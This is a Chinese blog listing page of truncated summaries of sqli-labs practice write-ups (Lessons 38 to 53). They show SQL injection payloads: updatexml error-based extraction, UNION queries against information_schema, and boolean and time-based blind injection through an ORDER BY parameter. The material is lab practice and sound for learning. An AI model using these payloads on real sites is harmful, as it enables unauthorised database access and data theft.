摘要：
1.这道题还是一道盲注,bp抓包，尝试各种闭合，当试到为')时成功写入新用户 阅读全文
posted @ 2020-03-14 16:08
孟雨
阅读(137)
评论(0)
推荐(0)
摘要：
1.这道题没有报错回显，是一道盲注，经过测试，语句和Less（42）一样 阅读全文
posted @ 2020-03-14 15:55
孟雨
阅读(156)
评论(0)
推荐(0)
摘要：
1.和Less（42）差不都 ')闭合 阅读全文
posted @ 2020-03-14 15:51
孟雨
阅读(139)
评论(0)
推荐(0)
摘要：
1.bp抓包，账号处没有注入点，而密码有且没有任何加工处理，语句如图 阅读全文
posted @ 2020-03-14 15:48
孟雨
阅读(141)
评论(0)
推荐(0)
摘要：
1.参考Less（46），单引号闭合 2.爆破 （1）爆库：?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+ （2）爆表：?sort=1' and(updatexml(1,concat(0x7e,(select gro 阅读全文
posted @ 2020-03-14 15:02
孟雨
阅读(119)
评论(0)
推荐(0)
摘要：
1.参考 Less（46），数字型 2.爆破： （1）爆库：?sort=1 and(updatexml(1,concat(0x7e,(select database())),0)) （2）爆表：?sort=1 and(updatexml(1,concat(0x7e,(select group_con 阅读全文
posted @ 2020-03-14 14:42
孟雨
阅读(108)
评论(0)
推荐(0)
摘要：
1.参考Less（46） 2.时间盲注 阅读全文
posted @ 2020-03-14 14:32
孟雨
阅读(142)
评论(0)
推荐(0)
摘要：
1.参考Less（46） 2.盲注 （1）布尔盲注：?sort=1 ^(select(select version()) regexp '^0') （2）时间盲注：?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test)) 阅读全文
posted @ 2020-03-14 14:13
孟雨
阅读(104)
评论(0)
推荐(0)
摘要：
1.参看Less（46），闭合为单引号 2.爆破： （1）爆库：?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+ （2）爆表：?sort=1' and(updatexml(1,concat(0x7e,(select g 阅读全文
posted @ 2020-03-14 13:56
孟雨
阅读(125)
评论(0)
推荐(0)
摘要：
1.看一下php （1）用order by 注入来看看 （2）通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入 ?sort=1+asc ?sort=1+desc 2.报错注入 （1）爆库：?sort=1 and(updatexml(1,concat(0x7e,(sel 阅读全文
posted @ 2020-03-14 11:47
孟雨
阅读(159)
评论(0)
推荐(0)
摘要：
1.参考Less（38），这次变成数字型 2.爆破 （1）爆库：?id=1 and 1=2 union select 1,2,database() -- - （2）爆表：?id=1 and 1=2 union select 1,group_concat(table_name),3 from info 阅读全文
posted @ 2020-03-14 11:05
孟雨
阅读(109)
评论(0)
推荐(0)
摘要：
1.参考Less（38），在单引号后加括号； 2.爆破 （1）爆库：?id=1') and 1=2 union select 1,database(),3-- - （2）爆表：?id=1') and 1=2 union select 1,group_concat(table_name),3 from 阅读全文
posted @ 2020-03-14 11:04
孟雨
阅读(185)
评论(0)
推荐(0)
摘要：
1.和Less（38）差不多 2.爆破 （1）爆库：?id=0%9 union select 1,2,database() %23 （2）爆表：?id=0%9 union select 1,group_concat(table_name),3 from information_schema.tabl 阅读全文
posted @ 2020-03-14 11:03
孟雨
阅读(113)
评论(0)
推荐(0)
浙公网安备 33010602011771号